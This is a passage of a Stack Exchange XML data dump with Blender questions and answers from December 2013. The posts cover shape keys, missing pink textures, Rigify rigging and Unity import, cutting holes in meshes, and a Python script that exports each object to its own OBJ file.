  <row Id="5365" PostTypeId="2" ParentId="5364" CreationDate="2013-12-08T01:47:36.457" Score="29" Body="&lt;p&gt;Try creating a new shapekey by pressing the arrow under the add/remove buttons and selecting &lt;em&gt;new shape from mix&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FeFBw.png&quot; alt=&quot;shape key options menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will create a new shapekey from the current mix. You can then delete all the shapekeys, making sure you delete the new one last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives you a shapekey-free mesh with the shape from the original shapekey mix.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2016-07-05T00:32:12.093" LastActivityDate="2016-07-05T00:32:12.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5366" PostTypeId="2" ParentId="5364" CreationDate="2013-12-08T02:50:17.170" Score="15" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Animation/Corrective_Shape_Key&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Corrective Shape Key&lt;/em&gt;&lt;/a&gt; addon. It's under &lt;em&gt;Community &gt; Animation&lt;/em&gt; in &lt;em&gt;Addons&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once installed, just find the desired blend you want, press the black triangle in the &lt;em&gt;Shape Keys&lt;/em&gt; panel and choose &lt;em&gt;Create duplicate for editing&lt;/em&gt;. This will apply the state and create a new copy while preserving the old one with the keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q8Zg8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-12-08T02:50:17.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5367" PostTypeId="2" ParentId="5348" CreationDate="2013-12-08T02:53:57.260" Score="7" Body="&lt;p&gt;According to &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release&quot; rel=&quot;noreferrer&quot;&gt;the blender 2.69 python API reference&lt;/a&gt;, &lt;code&gt;uv_textures&lt;/code&gt; is a &lt;code&gt;bpy_prop_collection&lt;/code&gt; of &lt;code&gt;MeshTexturePolyLayer&lt;/code&gt; and it is read only. It would appear to be accessed in Python as a dictionary of key/value pairs (try &lt;code&gt;bpy.context.active_object.data.uv_textures.items()&lt;/code&gt; in Blender's Python console). This would be why the array re-ordering techniques fail to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure that this is the best way but it appears to work. Test to see if it fixes the export order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;mesh = bpy.context.active_object.data&#xA;&#xA;mesh.uv_textures.active_index = 0&#xA;tmpuvmap = mesh.uv_textures.active&#xA;tmpuvmap_name = tmpuvmap.name&#xA;&#xA;newuvmap = mesh.uv_textures.new()&#xA;mesh.uv_textures.remove(tmpuvmap)&#xA;newuvmap.name = tmpuvmap_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By setting &lt;code&gt;active_index = 0&lt;/code&gt;, the call to &lt;code&gt;new()&lt;/code&gt; duplicates the first UVMap, putting a duplicate of it at the end before deleting the first item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears to give the same result as manually selecting the first item, clicking + to create a new UVMap then deleting the first item within blender.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="185" LastEditDate="2013-12-08T03:39:51.920" LastActivityDate="2013-12-08T03:39:51.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5368" PostTypeId="1" AcceptedAnswerId="5372" CreationDate="2013-12-08T04:03:30.497" Score="35" ViewCount="106836" Body="&lt;p&gt;I made a character, and its one of my first times texturing, and I saved my character into a new folder, and when I came back to the model ALL the textures were pink, I used to know what to do, but I stopped texturing, how do I bring my textures back?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="12" LastEditDate="2013-12-08T09:14:45.777" LastActivityDate="2018-11-18T12:36:52.733" Title="Why are all the textures in my file pink?" Tags="&lt;texturing&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5369" PostTypeId="2" ParentId="5368" CreationDate="2013-12-08T04:21:03.243" Score="10" Body="&lt;p&gt;Pink display means missing texture image. Maybe you forgot to &lt;em&gt;pack&lt;/em&gt; the image files or &lt;em&gt;save&lt;/em&gt; them to external files, before saving the .blend file and closing Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the case, unfortunately you'll have to re-make the texture images..&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-12-08T04:21:03.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5370" PostTypeId="1" CreationDate="2013-12-07T03:12:41.673" Score="4" ViewCount="3592" Body="&lt;p&gt;I sat down today to try and learn animations in Blender. After a few hours I was rigging bones to simple structures, making key frames, and saving FBX files for import to Unity3D. I felt like a pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Rigging/Rigify&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rigify&lt;/a&gt;. Theoretically this makes it easy to create humanoid armatures and animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started with &lt;a href=&quot;http://cgcookie.com/blender/resource/model-male-base-mesh/&quot; rel=&quot;nofollow noreferrer&quot;&gt;a free humanoid model I found online&lt;/a&gt;. After about 20 minutes of carefully positioning every finger and knuckle I was happy with the result. Previously at this point I would have let out an aggravated scream, knowing I now had to assign a vertex group to every bone - however not with Rigify! I was all ready to test out this beautiful feature. So I select my armature and I hit &lt;code&gt;Generate&lt;/code&gt;. The result was... disastrous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wDLrz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks nothing like the beautiful armatures in all the Rigify tutorials and examples. Rings were out of place, the hips are 8 feet in front of him, there's some weird convergence of bones behind him on the floor... I don't quite know how this happened, but I figured - hey, I'm not the Rigify expert, right? Maybe it's supposed to do that. So I tried to select my rig so I could attach it to my mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bybnC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It only selects part of the rigging instead of the whole thing. That's... scary. I used the &lt;code&gt;B&lt;/code&gt; shortcut to select the entire rig and tried now. Select the rig and the mesh, make sure the rig is the active selection, hit &lt;code&gt;ctrl+P&lt;/code&gt;, and... there's a new menu item?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JAwPp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What on earth is &quot;Bone Relative&quot;? No matter. I'm not selecting that, anyway. So I click &quot;With Automatic Weights&quot; like a good little lemming. This should connect the rigging to my mesh, right? OH GOD WHAT ON EARTH-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K60sy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my mesh has committed suicide. It's not quite seppuku, as that requires you have a stomach through which to ram a sword. It completely removed the stomach. And the legs. And the arms. It was like a self-dismemberment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my surprise, the rigging still worked... kinda&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YqL5Q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The few remaining faces move as one would expect. I wasn't really sure what was going on, if this was successful or not, so I figured I may as well import into Unity3D and see what happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now with my previous experiments in Unity I was able to select the armatures in Unity and manipulate the model manually. This was the expected ability with my new mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nJ1Zf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we import our test asset to see what will- well, this doesn't look promising&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zFt9Y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attempting to import the character to my scene caused Unity to all but freeze. It now takes 3 seconds for any mouse click or button press to register. What on earth is going on here? I fight through the pain. It'll all be worth it if I can make it work. I had to destroy everything in the scene and only add this one character to be able to move the camera, and even still it's extremely laggy. Two things seem amiss, though...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c02NQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The root bone is.... the pinky? Also, WHAT ON EARTH ARE ALL OF THESE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly I'm a little bit lost on how to use Rigify, or what I did wrong, or why it's making rigs that don't make sense, or how to use the rig it creates, or why it isn't bonding to the mesh,... or anything... Can someone point me in the right direction? I've tried Googling all night and every tutorial and video just makes it look easy. You line up the bones, hit &lt;code&gt;Generate&lt;/code&gt;, and voila - you have a perfect rig that works like a charm. No dice.&lt;/p&gt;&#xA;" OwnerUserId="1815" OwnerDisplayName="stevendesu" LastActivityDate="2013-12-13T15:01:40.150" Title="Constant errors with Rigify (Blender), and ultimately can't import to Unity3D" Tags="&lt;python&gt;&lt;animation&gt;&lt;rigify&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5371" PostTypeId="1" CreationDate="2013-12-08T06:03:05.677" Score="10" ViewCount="4347" Body="&lt;p&gt;I'm writing a scene exporter from blender to a format to be used by a game. I need to be able to export physics information the game needs, mainly the collision shape of every object (either the one set in Blender Render or Blender Game but the latter is better).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot seem to find anywhere that the collision shape is available to python. I've seen references to &lt;code&gt;PhysicsConstraints.exportBulletFile()&lt;/code&gt; but this appears to be under the &lt;code&gt;bge&lt;/code&gt; module, which as far as I can tell, is not accessible by exporter scripts. Is there any way to determine the details of a shape (rotation and scale, width, height, depth for box or radius and height for cylinder, vertices for convex hull, etc...)?&lt;/p&gt;&#xA;" OwnerUserId="1789" LastEditorUserId="58" LastEditDate="2014-01-15T06:07:40.897" LastActivityDate="2014-07-30T07:55:43.017" Title="Exporting (bullet) collision shapes" Tags="&lt;python&gt;&lt;export&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5372" PostTypeId="2" ParentId="5368" CreationDate="2013-12-08T07:39:52.133" Score="60" Body="&lt;p&gt;Pink means that the texture files are missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the texture files are still on your system, then it sounds like the textures are referenced relative to the blend file (the default behavior). This means that if you move the blend file and you don't move the textures, blender won't be able to find them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several things you can do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;em&gt;Find Missing Files&lt;/em&gt; operator in &lt;em&gt;Info &gt; File &gt; External Data&lt;/em&gt; to let blender try to find the files for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/baBtI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will give you a file browser with which you can select a directory which you think contains some (or all) missing files. Blender will then recursively search through all files and subdirectories of the selected directory for files with the same names as the missing files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if the directory is big (contains lots of files and subdirectories), this might take a while. Blender will appear frozen while the operator runs, but don't panic.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the blend file in the original location (so the textures are loaded correctly), press &lt;em&gt;Make All Paths Absolute&lt;/em&gt; in &lt;em&gt;Info &gt; File &gt; External Data&lt;/em&gt;, &#xA;then save the blendfile. Now blender can find the textures (provided they don't move) no matter where the file is on the system.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pack the textures into the blendfile. Press &lt;em&gt;Info &gt; File &gt; External Data &gt; Pack into blendfile&lt;/em&gt;. This will embed the image data into the blendfile itself, so your file may become rather large. However, this means that blender will always be able to find the textures no matter what (even if the file is put on another computer).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Move the textures to be in the same position relative to the new blend as they were to the old blend. E.g., if the textures are in a directory that is in the same directory as the old .blend, move that directory into the directory containing the new .blend.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="6076" LastEditDate="2016-01-24T20:25:01.013" LastActivityDate="2016-01-24T20:25:01.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5373" PostTypeId="1" AcceptedAnswerId="5375" CreationDate="2013-12-08T09:57:09.683" Score="9" ViewCount="2220" Body="&lt;p&gt;How do I cut a hole in the plane using the hollow line loop in the middle they're part of the same mesh and both 2d.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cPUM8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1706" LastEditorUserId="55" LastEditDate="2014-09-09T10:55:45.033" LastActivityDate="2014-09-09T10:55:45.033" Title="Cutting hole into a face with a line loop?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;editing&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5374" PostTypeId="2" ParentId="5373" CreationDate="2013-12-08T10:18:51.887" Score="5" Body="&lt;p&gt;This can be done using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Knife_Subdivide&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Knife Project&lt;/strong&gt;&lt;/a&gt;, however for the case you show to work, you will have to use a recent Blender build, since improved knife support was added after 2.69 release.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To use Knife Project, in &lt;em&gt;Object&lt;/em&gt; mode select the object you want to project (use and cut the other) first then &lt;kbd&gt;Shift&lt;/kbd&gt; select the &quot;object to be cut&quot;. Now &lt;kbd&gt;Tab&lt;/kbd&gt; into &lt;em&gt;Edit&lt;/em&gt; mode and press &lt;em&gt;Knife project&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aZHKJm.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/9YZfkm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before projecting from a text object and Resulting knife projection.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="12" LastEditDate="2013-12-08T13:49:39.970" LastActivityDate="2013-12-08T13:49:39.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5375" PostTypeId="2" ParentId="5373" CreationDate="2013-12-08T11:01:28.833" Score="5" Body="&lt;p&gt;You could convert your objects to curves and select &lt;em&gt;2D&lt;/em&gt; under the curve options. Doing this gives you a bit more flexibility as you can tweak the loop and see the changes as you do so. Use &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;&gt; Curve from Mesh/Text&lt;/em&gt; to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EPev2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are finished tweaking, convert back to a mesh with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;&gt; Mesh from Curve/Meta/..&lt;/em&gt;. You will notice that the plane is triangulated. To clean this up, run a &lt;em&gt;Limited Dissolve&lt;/em&gt; on the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/poK9a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Done&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t4A9v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-08T11:09:18.343" LastActivityDate="2013-12-08T11:09:18.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5376" PostTypeId="1" AcceptedAnswerId="5400" CreationDate="2013-12-08T11:34:29.740" Score="7" ViewCount="1382" Body="&lt;p&gt;I'm making this animation and the parts need to be labelled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that the lines from the label to each part will be animated and so will the text be animated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;two examples showing what I'm trying to achieve, &lt;a href=&quot;http://vimeo.com/65492097&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.youtube.com/watch?v=e2HNXaw7Fv8&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, please remember that the lines will have to have an entrance in some manner. This is the context: &lt;img src=&quot;https://i.stack.imgur.com/1RcAW.png&quot; alt=&quot;animation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the type of animations I wish for the lines: &lt;a href=&quot;http://vimeo.com/27093074&quot; rel=&quot;noreferrer&quot;&gt;http://vimeo.com/27093074&lt;/a&gt;&lt;br&gt;&#xA;Current &lt;a href=&quot;http://www.filedropper.com/xtruder_2&quot; rel=&quot;noreferrer&quot;&gt;.blend file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="2217" LastEditDate="2014-12-15T15:40:30.347" LastActivityDate="2016-10-11T16:54:06.337" Title="How do you animate the labels for a diagram in Blender?" Tags="&lt;animation&gt;&lt;text-object&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5377" PostTypeId="2" ParentId="5370" CreationDate="2013-12-08T15:18:13.170" Score="1" Body="&lt;p&gt;Game engines have their own ways of doing things. Operations and features that work in Blender do not always translate well when carrying them to a game engine (such as Unity3D). The reason is that game engines have a lot of the same systems that blender has. Unity3D has its own particle systems, animation system, materials system, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your goal is to use 3D models for games, I would focus first one what the game engine supports. There are  lot of things in Blender that just won't work when you try to open it up in Unity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also spend a lot more time looking through the documentation from Unity3D. Here are some simple guidelines importing blend files.&#xA;&lt;a href=&quot;http://docs.unity3d.com/Documentation/Manual/HOWTO-ImportObjectBlender.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.unity3d.com/Documentation/Manual/HOWTO-ImportObjectBlender.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a great video that helped me out when doing animations from Blender.&#xA;&lt;a href=&quot;http://cgcookie.com/unity/2011/12/05/exporting-characters-from-blender/&quot; rel=&quot;nofollow&quot;&gt;http://cgcookie.com/unity/2011/12/05/exporting-characters-from-blender/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do game modeling with Blender to Unity. You will find that 90% of the features in Blender can't be used because Unity just can't import them in. Learn what the game engine supports first, then use the modeling program appropriately.&lt;/p&gt;&#xA;" OwnerUserId="1784" LastActivityDate="2013-12-08T15:18:13.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5379" PostTypeId="1" AcceptedAnswerId="5380" CreationDate="2013-12-08T17:31:33.723" Score="7" ViewCount="139" Body="&lt;p&gt;I want to extrude a shape from an SVG file, then create its negative (boolean with a scaled cube).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can do the obvious steps if I scale and move the shape. The real problem is that the SVG file works with big numbers (in the millions). I can not zoom out enough to see the object(s) in their original size but it would be important not to change the coordinate-space.&lt;/p&gt;&#xA;" OwnerUserId="1795" LastActivityDate="2013-12-08T17:56:28.347" Title="Working with big numbers" Tags="&lt;3d-view&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5380" PostTypeId="2" ParentId="5379" CreationDate="2013-12-08T17:56:28.347" Score="7" Body="&lt;p&gt;You can set the &lt;em&gt;3D View far clipping distance&lt;/em&gt; in the &lt;em&gt;properties&lt;/em&gt; panel (press &lt;kbd&gt;N&lt;/kbd&gt; in the 3D view to toggle it),&lt;br&gt;&#xA;&lt;strong&gt;and/or&lt;/strong&gt;&lt;br&gt;&#xA;the &lt;em&gt;Camera far clipping distance&lt;/em&gt; in the &lt;em&gt;Lens&lt;/em&gt; section of the &lt;em&gt;Camera&lt;/em&gt; tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JpRl8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, it's limited to maximum 10 000 units (or 10Km), so I don't think it'll works nice with objects having scale in millions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should consider scaling down the objects by a factor you know (say, *0.001):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select all objects (press &lt;kbd&gt;A&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;S&lt;/kbd&gt;, then &lt;kbd&gt;.&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;then, left click to confirm.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to control the scale center point in order to keep relative coordinates of the objects, you can place you 3D cursor where you want and choose &lt;em&gt;3D cursor&lt;/em&gt; pivot center before scaling your objects.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-12-08T17:56:28.347" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5381" PostTypeId="2" ParentId="5373" CreationDate="2013-12-08T17:57:05.157" Score="3" Body="&lt;p&gt;Another option is the &lt;em&gt;Bridge&lt;/em&gt; tool.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the face of the plane (&lt;kbd&gt;Delete&lt;/kbd&gt;&lt;em&gt;&amp;gt; Only Faces&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all and press &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt; Bridge Edge loops&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OSxpo.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yah0R.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to use ngons instead of tris, press &lt;kbd&gt;Delete&lt;/kbd&gt;&lt;em&gt;&amp;gt; Limited Dissolve&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3o9E3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-08T18:03:12.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5382" PostTypeId="1" AcceptedAnswerId="5383" CreationDate="2013-12-08T22:00:37.737" Score="27" ViewCount="30706" Body="&lt;p&gt;It is possible to export all object from a scene into different obj files (each object in a obj file separately)?&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="241" LastEditDate="2020-06-26T13:39:43.083" LastActivityDate="2021-02-20T14:51:18.557" Title="Export multiple objects to .obj" Tags="&lt;export&gt;&lt;file-format&gt;&lt;obj&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5383" PostTypeId="2" ParentId="5382" CreationDate="2013-12-08T22:43:09.617" Score="26" Body="&lt;p&gt;There doesn't exist a way to do this in the options of the obj importer so what you could do is run a script that loops over the items in your scene,&#xA;check if it is a mesh and export the current selection to its own file relative to the path your blend file is saved.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;# get the path where the blend file is located&#xA;basedir = bpy.path.abspath('//')&#xA;&#xA;# deselect all objects&#xA;bpy.ops.object.select_all(action='DESELECT')    &#xA;&#xA;# loop through all the objects in the scene&#xA;scene = bpy.context.scene&#xA;for ob in scene.objects:&#xA;    # make the current object active and select it&#xA;    scene.objects.active = ob&#xA;    ob.select = True&#xA;&#xA;    # make sure that we only export meshes&#xA;    if ob.type == 'MESH':&#xA;        # export the currently selected object to its own file based on its name&#xA;        bpy.ops.export_scene.obj(&#xA;                filepath=os.path.join(basedir, ob.name + '.obj'),&#xA;                use_selection=True,&#xA;                )&#xA;    # deselect the object and move on to another if any more are left&#xA;    ob.select = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To further tweak your export options, see the parameters that&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_current/bpy.ops.export_scene.html#bpy.ops.export_scene.obj&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.ops.export_scene_obj()&lt;/code&gt;&lt;/a&gt; accepts.&#xA;For example, you can include normals with &lt;code&gt;use_normals=True&lt;/code&gt;, change forward axis with &lt;code&gt;axis_forward&lt;/code&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more stringent checks that could be made but for simple use cases and if used properly, this should suffice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/questions/5064/batch-import-wavefront-obj/5065#5065&quot;&gt;How to batch import Wavefront OBJ files?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have it export only selected objects, comment line &lt;code&gt;7&lt;/code&gt; and change line &lt;code&gt;11&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# remove&#xA;bpy.ops.object.select_all(action='DESELECT')&#xA;# change to this where instead of the entire scene, we only look through selected objects&#xA;for ob in bpy.context.selected_objects:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or keep line &lt;code&gt;11&lt;/code&gt; and add another line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ob in scene.objects:&#xA;    # add the check to see if in selected objects here&#xA;    if ob in bpy.context.selected_objects:&#xA;        # adjust indentation&#xA;        ...&#xA;        ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;NB:&lt;/em&gt;&lt;/strong&gt; Make sure the layers you have objects on are selected otherwise you will just get an empty file.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="1232" LastEditDate="2018-05-16T00:10:26.893" LastActivityDate="2018-05-16T00:10:26.893" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="5384" PostTypeId="2" ParentId="5357" CreationDate="2013-12-09T00:05:25.383" Score="7" Body="&lt;p&gt;If you want the driver on the mapping node to work correctly you need to add it via the outliner, not the node editor as you might expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this tutorial &lt;a href=&quot;http://vimeo.com/40389198&quot; rel=&quot;noreferrer&quot;&gt;http://vimeo.com/40389198&lt;/a&gt; starting at ~18:30 for directions on how to make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It don't know if this is considered a bug but the behavior certainly isn't very user friendly.&lt;/p&gt;&#xA;" OwnerUserId="1246" LastActivityDate="2013-12-09T00:05:25.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
